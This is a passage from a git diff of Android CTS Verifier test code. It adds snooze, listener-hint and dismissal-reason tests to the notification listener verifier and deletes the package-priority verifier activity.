                     bundle.putInt(EXTRA_INT, mDND);
                     setResultExtras(bundle);
                     setResultCode(Activity.RESULT_OK);
                 } else if (SERVICE_ORDER.equals(action)) {
-                    Log.d(TAG, "SERVICE_ORDER");
-                    Bundle bundle = new Bundle();
                     bundle.putStringArrayList(EXTRA_PAYLOAD, mOrder);
                     setResultExtras(bundle);
                     setResultCode(Activity.RESULT_OK);
                 } else if (SERVICE_PAYLOADS.equals(action)) {
-                    Log.d(TAG, "SERVICE_PAYLOADS");
-                    Bundle bundle = new Bundle();
                     ArrayList<String> payloadData = new ArrayList<>(mNotifications.size());
                     for (JSONObject payload: mNotifications.values()) {
                         payloadData.add(payload.toString());
@@ -123,13 +136,18 @@
                     setResultExtras(bundle);
                     setResultCode(Activity.RESULT_OK);
                 } else if (SERVICE_REMOVED.equals(action)) {
-                    Log.d(TAG, "SERVICE_REMOVED");
-                    Bundle bundle = new Bundle();
                     bundle.putStringArrayList(EXTRA_PAYLOAD, mRemoved);
                     setResultExtras(bundle);
                     setResultCode(Activity.RESULT_OK);
+                } else if (SERVICE_REMOVED_REASON.equals(action)) {
+                    ArrayList<String> payloadData = new ArrayList<>(mRemovedReason.size());
+                    for (JSONObject payload: mRemovedReason.values()) {
+                        payloadData.add(payload.toString());
+                    }
+                    bundle.putStringArrayList(EXTRA_PAYLOAD, payloadData);
+                    setResultExtras(bundle);
+                    setResultCode(Activity.RESULT_OK);
                 } else if (SERVICE_CLEAR_ONE.equals(action)) {
-                    Log.d(TAG, "SERVICE_CLEAR_ONE");
                     String tag = intent.getStringExtra(EXTRA_TAG);
                     String key = mNotificationKeys.get(tag);
                     if (key != null) {
@@ -138,11 +156,33 @@
                         Log.w(TAG, "Notification does not exist: " + tag);
                     }
                 } else if (SERVICE_CLEAR_ALL.equals(action)) {
-                    Log.d(TAG, "SERVICE_CLEAR_ALL");
                     MockListener.this.cancelAllNotifications();
                 } else if (SERVICE_RESET.equals(action)) {
-                    Log.d(TAG, "SERVICE_RESET");
                     resetData();
+                } else if (SERVICE_SNOOZE.equals(action)) {
+                    MockListener.this.requestUnbind();
+                } else if (SERVICE_HINTS.equals(action)) {
+                    MockListener.this.requestListenerHints(intent.getIntExtra(EXTRA_CODE, 0));
+                } else if (SERVICE_PROBE_HINTS.equals(action)) {
+                    bundle.putInt(EXTRA_INT, MockListener.this.getCurrentListenerHints());
+                    setResultExtras(bundle);
+                    setResultCode(Activity.RESULT_OK);
+                } else if (SERVICE_SNOOZE_DURATION.equals(action)) {
+                    String tag = intent.getStringExtra(EXTRA_TAG);
+                    String key = mNotificationKeys.get(tag);
+                    if (key != null) {
+                        MockListener.this.snoozeNotification(key,
+                                intent.getLongExtra(EXTRA_LONG, (long) 0));
+                    }
+                } else if (SERVICE_GET_SNOOZED.equals(action)) {
+                    mSnoozed.clear();
+                    StatusBarNotification[] snoozed = MockListener.this.getSnoozedNotifications();
+                    for (StatusBarNotification sbn : snoozed) {
+                        mSnoozed.add(sbn.getTag());
+                    }
+                    bundle.putStringArrayList(EXTRA_PAYLOAD, mSnoozed);
+                    setResultExtras(bundle);
+                    setResultCode(Activity.RESULT_OK);
                 } else {
                     Log.w(TAG, "unknown action");
                     setResultCode(Activity.RESULT_CANCELED);
@@ -156,9 +196,15 @@
         filter.addAction(SERVICE_ORDER);
         filter.addAction(SERVICE_PAYLOADS);
         filter.addAction(SERVICE_REMOVED);
+        filter.addAction(SERVICE_REMOVED_REASON);
         filter.addAction(SERVICE_CLEAR_ONE);
         filter.addAction(SERVICE_CLEAR_ALL);
         filter.addAction(SERVICE_RESET);
+        filter.addAction(SERVICE_SNOOZE);
+        filter.addAction(SERVICE_HINTS);
+        filter.addAction(SERVICE_PROBE_HINTS);
+        filter.addAction(SERVICE_SNOOZE_DURATION);
+        filter.addAction(SERVICE_GET_SNOOZED);
         registerReceiver(mReceiver, filter);
     }
 
@@ -189,6 +235,9 @@
         mNotifications.clear();
         mRemoved.clear();
         mOrder.clear();
+        mRemovedReason.clear();
+        mSnoozed.clear();
+        mPostedNotifications.clear();
     }
 
     @Override
@@ -218,6 +267,7 @@
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
         Log.d(TAG, "posted: " + sbn.getTag());
         mPosted.add(sbn.getTag());
+        mPostedNotifications.add(sbn.getNotification());
         JSONObject notification = new JSONObject();
         try {
             notification.put(JSON_TAG, sbn.getTag());
@@ -243,6 +293,24 @@
         onNotificationRankingUpdate(rankingMap);
     }
 
+    @Override
+    public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
+            int reason) {
+        Log.d(TAG, "removed: " + sbn.getTag());
+        mRemoved.add(sbn.getTag());
+        JSONObject removed = new JSONObject();
+        try {
+            removed.put(JSON_TAG, sbn.getTag());
+            removed.put(JSON_REASON, reason);
+        } catch (JSONException e) {
+            Log.e(TAG, "failed to pack up notification payload", e);
+        }
+        mNotifications.remove(sbn.getKey());
+        mNotificationKeys.remove(sbn.getTag());
+        mRemovedReason.put(sbn.getTag(), removed);
+        onNotificationRankingUpdate(rankingMap);
+    }
+
     public static void resetListenerData(Context context) {
         sendCommand(context, SERVICE_RESET, null, 0);
     }
@@ -259,6 +327,14 @@
         requestStringListResult(context, SERVICE_POSTED, catcher);
     }
 
+    public static void probeListenerPosted(Context context, NotificationResultCatcher catcher) {
+        requestNotificationResult(context, SERVICE_POSTED, catcher);
+    }
+
+    public static void probeListenerSnoozed(Context context, StringListResultCatcher catcher) {
+        requestStringListResult(context, SERVICE_GET_SNOOZED, catcher);
+    }
+
     public static void probeListenerOrder(Context context, StringListResultCatcher catcher) {
         requestStringListResult(context, SERVICE_ORDER, catcher);
     }
@@ -271,10 +347,38 @@
         requestStringListResult(context, SERVICE_REMOVED, catcher);
     }
 
+    public static void probeListenerRemovedWithReason(Context context,
+            StringListResultCatcher catcher) {
+        requestStringListResult(context, SERVICE_REMOVED_REASON, catcher);
+    }
+
+    public static void probeListenerHints(Context context, IntegerResultCatcher catcher) {
+        requestIntegerResult(context, SERVICE_PROBE_HINTS, catcher);
+    }
+
+    public static void setHints(Context context, int hints) {
+        Intent broadcast = new Intent(SERVICE_HINTS);
+        broadcast.putExtra(EXTRA_CODE, hints);
+        context.sendBroadcast(broadcast);
+    }
+
+    public static void snooze(Context context) {
+        sendCommand(context, SERVICE_SNOOZE, null, 0);
+    }
+
     public static void clearOne(Context context, String tag, int code) {
         sendCommand(context, SERVICE_CLEAR_ONE, tag, code);
     }
 
+    public static void snoozeOneFor(Context context, String tag, long duration) {
+        Intent broadcast = new Intent(SERVICE_SNOOZE_DURATION);
+        if (tag != null) {
+            broadcast.putExtra(EXTRA_TAG, tag);
+            broadcast.putExtra(EXTRA_LONG, duration);
+        }
+        context.sendBroadcast(broadcast);
+    }
+
     public static void clearAll(Context context) {
         sendCommand(context, SERVICE_CLEAR_ALL, null, 0);
     }
@@ -327,9 +431,35 @@
         abstract public void accept(List<String> result);
     }
 
+    public abstract static class NotificationResultCatcher extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            ArrayList<Parcelable> parcels =
+                    getResultExtras(true).getParcelableArrayList(EXTRA_POSTED_NOTIFICATIONS);
+            if (parcels == null) {
+                parcels = new ArrayList<Parcelable>();
+            }
+            List<Notification> notifications = new ArrayList<Notification>(parcels.size());
+            for (Parcelable parcel : parcels) {
+                if (parcel instanceof Notification) {
+                    notifications.add((Notification) parcel);
+                }
+            }
+            accept(notifications);
+        }
+
+        abstract public void accept(List<Notification> result);
+    }
+
     private static void requestStringListResult(Context context, String action,
             StringListResultCatcher catcher) {
         Intent broadcast = new Intent(action);
         context.sendOrderedBroadcast(broadcast, null, catcher, null, RESULT_NO_SERVER, null, null);
     }
+
+    private static void requestNotificationResult(Context context, String action,
+            NotificationResultCatcher catcher) {
+        Intent broadcast = new Intent(action);
+        context.sendOrderedBroadcast(broadcast, null, catcher, null, RESULT_NO_SERVER, null, null);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index ace194c..20e7d1e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -19,7 +19,10 @@
 import android.annotation.SuppressLint;
 import android.app.Activity;
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.provider.Settings.Secure;
+import android.support.v4.app.NotificationCompat;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
@@ -40,6 +43,7 @@
 public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
     private static final String TAG = "NoListenerVerifier";
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
 
     private String mTag1;
     private String mTag2;
@@ -71,19 +75,38 @@
 
     @Override
     protected List<InteractiveTestCase> createTestItems() {
-        List<InteractiveTestCase> tests = new ArrayList<>(9);
+        List<InteractiveTestCase> tests = new ArrayList<>(17);
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationRecievedTest());
         tests.add(new DataIntactTest());
         tests.add(new DismissOneTest());
+        tests.add(new DismissOneWithReasonTest());
         tests.add(new DismissAllTest());
+        tests.add(new SnoozeNotificationForTimeTest());
+        tests.add(new SnoozeNotificationForTimeCancelTest());
+        tests.add(new GetSnoozedNotificationTest());
+        tests.add(new EnableHintsTest());
+        tests.add(new SnoozeTest());
+        tests.add(new UnsnoozeTest());
+        tests.add(new MessageBundleTest());
+        tests.add(new EnableHintsTest());
         tests.add(new IsDisabledTest());
         tests.add(new ServiceStoppedTest());
         tests.add(new NotificationNotReceivedTest());
         return tests;
     }
 
+    private void createChannel() {
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+        mNm.createNotificationChannel(channel);
+    }
+
+    private void deleteChannel() {
+        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+    }
+
     @SuppressLint("NewApi")
     private void sendNotifications() {
         mTag1 = UUID.randomUUID().toString();
@@ -106,7 +129,7 @@
 
         mPackageString = "com.android.cts.verifier";
 
-        Notification n1 = new Notification.Builder(mContext)
+        Notification n1 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 1")
                 .setContentText(mTag1.toString())
                 .setPriority(Notification.PRIORITY_LOW)
@@ -118,7 +141,7 @@
         mNm.notify(mTag1, mId1, n1);
         mFlag1 = Notification.FLAG_ONLY_ALERT_ONCE;
 
-        Notification n2 = new Notification.Builder(mContext)
+        Notification n2 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 2")
                 .setContentText(mTag2.toString())
                 .setPriority(Notification.PRIORITY_HIGH)
@@ -130,7 +153,7 @@
         mNm.notify(mTag2, mId2, n2);
         mFlag2 = Notification.FLAG_AUTO_CANCEL;
 
-        Notification n3 = new Notification.Builder(mContext)
+        Notification n3 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 3")
                 .setContentText(mTag3.toString())
                 .setPriority(Notification.PRIORITY_LOW)
@@ -155,6 +178,7 @@
 
         @Override
         void setUp() {
+            createChannel();
             sendNotifications();
             status = READY;
             // wait for notifications to move through the system
@@ -162,6 +186,14 @@
         }
 
         @Override
+        void tearDown() {
+            mNm.cancelAll();
+            MockListener.resetListenerData(mContext);
+            delay();
+            deleteChannel();
+        }
+
+        @Override
         void test() {
             MockListener.probeListenerPosted(mContext,
                     new MockListener.StringListResultCatcher() {
@@ -187,6 +219,14 @@
         }
 
         @Override
+        void setUp() {
+            createChannel();
+            sendNotifications();
+            status = READY;
+            delay();
+        }
+
+        @Override
         void test() {
             MockListener.probeListenerPayloads(mContext,
                     new MockListener.StringListResultCatcher() {
@@ -269,6 +309,7 @@
 
         @Override
         void setUp() {
+            createChannel();
             sendNotifications();
             status = READY;
             delay();
@@ -303,6 +344,67 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannel();
+            MockListener.resetListenerData(mContext);
+            delay();
+        }
+    }
+
+    private class DismissOneWithReasonTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_clear_one_reason);
+        }
+
+        @Override
+        void setUp() {
+            createChannel();
+            sendNotifications();
+            status = READY;
+            delay();
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockListener.clearOne(mContext, mTag1, mId1);
+                status = RETEST;
+            } else {
+                MockListener.probeListenerRemovedWithReason(mContext,
+                        new StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result == null || result.size() == 0) {
+                                    status = FAIL;
+                                    return;
+                                }
+                                boolean pass = true;
+                                for (String payloadData : result) {
+                                    JSONObject payload = null;
+                                    try {
+                                        payload = new JSONObject(payloadData);
+                                        pass &= checkEquals(mTag1,
+                                                payload.getString(JSON_TAG),
+                                                "data dismissal test: notification tag (%s, %s)");
+                                        pass &= checkEquals(REASON_LISTENER_CANCEL,
+                                                payload.getInt(JSON_TAG),
+                                                "data dismissal test: reason (%d, %d)");
+                                    } catch (JSONException e) {
+                                        e.printStackTrace();
+                                    }
+                                }
+                                status = pass ? PASS : FAIL;
+                                next();
+                            }
+                        });
+            }
+            delay();
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannel();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -316,6 +418,7 @@
 
         @Override
         void setUp() {
+            createChannel();
             sendNotifications();
             status = READY;
             delay();
@@ -350,6 +453,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannel();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -367,6 +471,12 @@
         }
 
         @Override
+        void setUp(){
+            MockListener.setHints(mContext, MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
+            delay();
+        }
+
+        @Override
         void test() {
             String listeners = Secure.getString(getContentResolver(),
                     ENABLED_NOTIFICATION_LISTENERS);
@@ -401,7 +511,11 @@
                                 logFail();
                                 status = FAIL;
                             } else {
-                                status = PASS;
+                                if (mNm.getEffectsSuppressor() == null) {
+                                    status = PASS;
+                                } else {
+                                    status = FAIL;
+                                }
                             }
                             next();
                         }
@@ -425,6 +539,7 @@
 
         @Override
         void setUp() {
+            createChannel();
             sendNotifications();
             status = READY;
             delay();
@@ -451,8 +566,510 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannel();
             MockListener.resetListenerData(mContext);
             delay();
         }
     }
+
+    private class SnoozeTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_snooze);
+
+        }
+
+        @Override
+        void setUp() {
+            status = READY;
+            MockListener.setHints(mContext, MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
+            delay();
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockListener.snooze(mContext);
+                status = RETEST;
+            } else {
+                MockListener.probeListenerStatus(mContext,
+                        new MockListener.StatusCatcher() {
+                            @Override
+                            public void accept(int result) {
+                                if (result == Activity.RESULT_OK) {
+                                    logFail();
+                                    status = FAIL;
+                                } else {
+                                    if (mNm.getEffectsSuppressor() == null) {
+                                        status = PASS;
+                                    } else {
+                                        logFail();
+                                        status = RETEST;
+                                        delay();
+                                    }
+                                }
+                                next();
+                            }
+                        });
+            }
+            delay();  // in case the catcher never returns
+        }
+
+        @Override
+        void tearDown() {
+            delay();
+        }
+    }
+
+    private class UnsnoozeTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_unsnooze);
+
+        }
+
+        @Override
+        void setUp() {
+            status = READY;
+            delay();
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockListener.requestRebind(MockListener.COMPONENT_NAME);
+                status = RETEST;
+            } else {
+                MockListener.probeListenerStatus(mContext,
+                        new MockListener.StatusCatcher() {
+                            @Override
+                            public void accept(int result) {
+                                if (result == Activity.RESULT_OK) {
+                                    status = PASS;
+                                    next();
+                                } else {
+                                    logFail();
+                                    status = RETEST;
+                                    delay();
+                                }
+                            }
+                        });
+            }
+            delay();  // in case the catcher never returns
+        }
+
+        @Override
+        void tearDown() {
+            delay();
+        }
+    }
+
+    private class EnableHintsTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_hints);
+
+        }
+
+        @Override
+        void setUp() {
+            status = READY;
+            delay();
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockListener.setHints(mContext, MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
+                status = RETEST;
+            } else {
+                MockListener.probeListenerHints(mContext,
+                        new MockListener.IntegerResultCatcher() {
+                            @Override
+                            public void accept(int result) {
+                                if (result == MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) {
+                                    status = PASS;
+                                } else {
+                                    logFail();
+                                    status = FAIL;
+                                }
+                                next();
+                            }
+                        });
+            }
+            delay();  // in case the catcher never returns
+        }
+
+        @Override
+        void tearDown() {
+            delay();
+        }
+    }
+
+    private class SnoozeNotificationForTimeTest extends InteractiveTestCase {
+        final static int READY_TO_SNOOZE = 0;
+        final static int SNOOZED = 1;
+        final static int READY_TO_CHECK_FOR_UNSNOOZE = 2;
+        int state = -1;
+        long snoozeTime = 3000;
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_snooze_one_time);
+        }
+
+        @Override
+        void setUp() {
+            createChannel();
+            sendNotifications();
+            status = READY;
+            state = READY_TO_SNOOZE;
+            delay();
+        }
+
+        @Override
+        void test() {
+            status = RETEST;
+            if (state == READY_TO_SNOOZE) {
+                MockListener.snoozeOneFor(mContext, mTag1, snoozeTime);
+                state = SNOOZED;
+            } else if (state == SNOOZED){
+                MockListener.probeListenerRemovedWithReason(mContext,
+                        new StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result == null || result.size() == 0) {
+                                    status = FAIL;
+                                    return;
+                                }
+                                boolean pass = true;
+                                for (String payloadData : result) {
+                                    JSONObject payload = null;
+                                    try {
+                                        payload = new JSONObject(payloadData);
+                                        pass &= checkEquals(mTag1,
+                                                payload.getString(JSON_TAG),
+                                                "data dismissal test: notification tag (%s, %s)");
+                                        pass &= checkEquals(MockListener.REASON_SNOOZED,
+                                                payload.getInt(JSON_TAG),
+                                                "data dismissal test: reason (%d, %d)");
+                                    } catch (JSONException e) {
+                                        e.printStackTrace();
+                                    }
+                                }
+                                if (!pass) {
+                                    logFail();
+                                    status = FAIL;
+                                    next();
+                                    return;
+                                } else {
+                                    state = READY_TO_CHECK_FOR_UNSNOOZE;
+                                }
+                            }
+                        });
+            } else {
+                MockListener.probeListenerPosted(mContext,
+                        new MockListener.StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result != null && result.size() != 0
+                                        && result.contains(mTag1)) {
+                                    status = PASS;
+                                } else {
+                                    logFail();
+                                    status = FAIL;
+                                }
+                                next();
+                            }
+                        });
+            }
+            delay();
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannel();
+            MockListener.resetListenerData(mContext);
+            delay();
+        }
+    }
+
+    /**
+     * Posts notifications, snoozes one of them. Verifies that it is snoozed. Cancels all
+     * notifications and reposts them. Confirms that the original notification is still snoozed.
+     */
+    private class SnoozeNotificationForTimeCancelTest extends InteractiveTestCase {
+
+        final static int READY_TO_SNOOZE = 0;
+        final static int SNOOZED = 1;
+        final static int READY_TO_CHECK_FOR_SNOOZE = 2;
+        int state = -1;
+        long snoozeTime = 10000;
+        private String tag;
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_snooze_one_time);
+        }
+
+        @Override
+        void setUp() {
+            createChannel();
+            sendNotifications();
+            tag = mTag1;
+            status = READY;
+            state = READY_TO_SNOOZE;
+            delay();
+        }
+
+        @Override
+        void test() {
+            status = RETEST;
+            if (state == READY_TO_SNOOZE) {
+                MockListener.snoozeOneFor(mContext, tag, snoozeTime);
+                state = SNOOZED;
+            } else if (state == SNOOZED){
+                MockListener.probeListenerSnoozed(mContext,
+                        new MockListener.StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result != null && result.size() >= 1
+                                        && result.contains(tag)) {
+                                    // cancel and repost
+                                    sendNotifications();
+                                    state = READY_TO_CHECK_FOR_SNOOZE;
+                                    delay();
+                                } else {
+                                    logFail();
+                                    status = FAIL;
+                                    next();
+                                }
+                            }
+                        });
+            } else {
+                MockListener.probeListenerSnoozed(mContext,
+                        new MockListener.StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result != null && result.size() >= 1
+                                        && result.contains(tag)) {
+                                    status = PASS;
+                                } else {
+                                    logFail();
+                                    status = FAIL;
+                                }
+                                next();
+                            }
+                        });
+            }
+            delay();
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannel();
+            MockListener.resetListenerData(mContext);
+            delay();
+        }
+    }
+
+    private class GetSnoozedNotificationTest extends InteractiveTestCase {
+        final static int READY_TO_SNOOZE = 0;
+        final static int SNOOZED = 1;
+        final static int READY_TO_CHECK_FOR_GET_SNOOZE = 2;
+        int state = -1;
+        long snoozeTime = 30000;
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_get_snoozed);
+        }
+
+        @Override
+        void setUp() {
+            createChannel();
+            sendNotifications();
+            status = READY;
+            state = READY_TO_SNOOZE;
+            delay();
+        }
+
+        @Override
+        void test() {
+            status = RETEST;
+            if (state == READY_TO_SNOOZE) {
+                MockListener.snoozeOneFor(mContext, mTag1, snoozeTime);
+                MockListener.snoozeOneFor(mContext, mTag2, snoozeTime);
+                state = SNOOZED;
+            } else if (state == SNOOZED){
+                MockListener.probeListenerRemovedWithReason(mContext,
+                        new StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result == null || result.size() == 0) {
+                                    status = FAIL;
+                                    return;
+                                }
+                                boolean pass = true;
+                                for (String payloadData : result) {
+                                    JSONObject payload = null;
+                                    try {
+                                        payload = new JSONObject(payloadData);
+                                        pass &= checkEquals(mTag1,
+                                                payload.getString(JSON_TAG),
+                                                "data dismissal test: notification tag (%s, %s)");
+                                        pass &= checkEquals(MockListener.REASON_SNOOZED,
+                                                payload.getInt(JSON_TAG),
+                                                "data dismissal test: reason (%d, %d)");
+                                    } catch (JSONException e) {
+                                        e.printStackTrace();
+                                    }
+                                }
+                                if (!pass) {
+                                    logFail();
+                                    status = FAIL;
+                                    next();
+                                    return;
+                                } else {
+                                    state = READY_TO_CHECK_FOR_GET_SNOOZE;
+                                }
+                            }
+                        });
+            } else {
+                MockListener.probeListenerSnoozed(mContext,
+                        new MockListener.StringListResultCatcher() {
+                            @Override
+                            public void accept(List<String> result) {
+                                if (result != null && result.size() >= 2
+                                        && result.contains(mTag1)
+                                        && result.contains(mTag2)) {
+                                    status = PASS;
+                                } else {
+                                    logFail();
+                                    status = FAIL;
+                                }
+                                next();
+                            }
+                        });
+            }
+            delay();
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannel();
+            MockListener.resetListenerData(mContext);
+            delay();
+        }
+    }
+
+    /** Tests that the extras {@link Bundle} in a MessagingStyle#Message is preserved. */
+    private class MessageBundleTest extends InteractiveTestCase {
+        private final String extrasKey1 = "extras_key_1";
+        private final CharSequence extrasValue1 = "extras_value_1";
+        private final String extrasKey2 = "extras_key_2";
+        private final CharSequence extrasValue2 = "extras_value_2";
+
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.msg_extras_preserved);
+        }
+
+        @Override
+        void setUp() {
+            createChannel();
+            sendMessagingNotification();
+            status = READY;
+            // wait for notifications to move through the system
+            delay();
+        }
+
+        @Override
+        void tearDown() {
+            deleteChannel();
+        }
+
+        private void sendMessagingNotification() {
+            mTag1 = UUID.randomUUID().toString();
+            mNm.cancelAll();
+            mWhen1 = System.currentTimeMillis() + 1;
+            mIcon1 = R.drawable.ic_stat_alice;
+            mId1 = NOTIFICATION_ID + 1;
+
+            Notification.MessagingStyle.Message msg1 =
+                    new Notification.MessagingStyle.Message("text1", 0 /* timestamp */, "sender1");
+            msg1.getExtras().putCharSequence(extrasKey1, extrasValue1);
+
+            Notification.MessagingStyle.Message msg2 =
+                    new Notification.MessagingStyle.Message("text2", 1 /* timestamp */, "sender2");
+            msg2.getExtras().putCharSequence(extrasKey2, extrasValue2);
+
+            Notification.MessagingStyle style = new Notification.MessagingStyle("display_name");
+            style.addMessage(msg1);
+            style.addMessage(msg2);
+
+            Notification n1 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                    .setContentTitle("ClearTest 1")
+                    .setContentText(mTag1.toString())
+                    .setPriority(Notification.PRIORITY_LOW)
+                    .setSmallIcon(mIcon1)
+                    .setWhen(mWhen1)
+                    .setDeleteIntent(makeIntent(1, mTag1))
+                    .setOnlyAlertOnce(true)
+                    .setStyle(style)
+                    .build();
+            mNm.notify(mTag1, mId1, n1);
+            mFlag1 = Notification.FLAG_ONLY_ALERT_ONCE;
+        }
+
+        // Returns true on success.
+        private boolean verifyMessage(
+                NotificationCompat.MessagingStyle.Message message,
+                String extrasKey,
+                CharSequence extrasValue) {
+            return message.getExtras() != null
+                    && message.getExtras().getCharSequence(extrasKey) != null
+                    && message.getExtras().getCharSequence(extrasKey).equals(extrasValue);
+        }
+
+        @Override
+        void test() {
+            MockListener.probeListenerPosted(mContext,
+                    new MockListener.NotificationResultCatcher() {
+                        @Override
+                        public void accept(List<Notification> result) {
+                            if (result == null || result.size() != 1 || result.get(0) == null) {
+                                logFail();
+                                status = FAIL;
+                                next();
+                                return;
+                            }
+                            // Can only read in MessaginStyle using the compat class.
+                            NotificationCompat.MessagingStyle readStyle =
+                                    NotificationCompat.MessagingStyle
+                                        .extractMessagingStyleFromNotification(
+                                              result.get(0));
+                            if (readStyle == null || readStyle.getMessages().size() != 2) {
+                                status = FAIL;
+                                logFail();
+                                next();
+                                return;
+                            }
+
+                            if (!verifyMessage(readStyle.getMessages().get(0), extrasKey1, extrasValue1)
+                                    || !verifyMessage(
+                                    readStyle.getMessages().get(1), extrasKey2, extrasValue2)) {
+                                status = FAIL;
+                                logFail();
+                                next();
+                                return;
+                            }
+
+                            status = PASS;
+                            next();
+                        }
+                    });
+            delay();  // in case the catcher never returns
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/PackagePriorityVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/PackagePriorityVerifierActivity.java
deleted file mode 100644
index b40ecc6..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/PackagePriorityVerifierActivity.java
+++ /dev/null
@@ -1,283 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.notifications;
-
-import android.app.Notification;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.util.Log;
-import android.view.View;
-import android.view.ViewGroup;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests that the notification ranker honors user preferences about package priority.
- * Users can, in Settings, specify a package as being high priority. This should
- * result in the notificaitons from that package being ranked higher than those from
- * other packages.
- */
-public class PackagePriorityVerifierActivity
-        extends InteractiveVerifierActivity {
-    private static final String ACTION_POST = "com.android.cts.robot.ACTION_POST";
-    private static final String ACTION_CANCEL = "com.android.cts.robot.ACTION_CANCEL";
-    private static final String EXTRA_ID = "ID";
-    private static final String EXTRA_NOTIFICATION = "NOTIFICATION";
-    static final String NOTIFICATION_BOT_PACKAGE = "com.android.cts.robot";
-    private CharSequence mAppLabel;
-
-    @Override
-    int getTitleResource() {
-        return R.string.package_priority_test;
-    }
-
-    @Override
-    int getInstructionsResource() {
-        return R.string.package_priority_info;
-    }
-
-    // Test Setup
-
-    @Override
-    protected List<InteractiveTestCase> createTestItems() {
-        mAppLabel = getString(R.string.app_name);
-        List<InteractiveTestCase> tests = new ArrayList<>(17);
-        tests.add(new CheckForBot());
-        tests.add(new IsEnabledTest());
-        tests.add(new ServiceStartedTest());
-        tests.add(new WaitForSetPriorityDefault());
-        tests.add(new DefaultOrderTest());
-        tests.add(new WaitForSetPriorityHigh());
-        tests.add(new PackagePriorityOrderTest());
-        return tests;
-    }
-
-    // Tests
-
-    /** Make sure the helper package is installed. */
-    protected class CheckForBot extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createAutoItem(parent, R.string.package_priority_bot);
-        }
-
-        @Override
-        void test() {
-            PackageManager pm = mContext.getPackageManager();
-            try {
-                pm.getPackageInfo(NOTIFICATION_BOT_PACKAGE, 0);
-                status = PASS;
-            } catch (PackageManager.NameNotFoundException e) {
-                status = FAIL;
-                logFail("You must install the CTS Robot helper, aka " + NOTIFICATION_BOT_PACKAGE);
-            }
-            next();
-        }
-    }
-
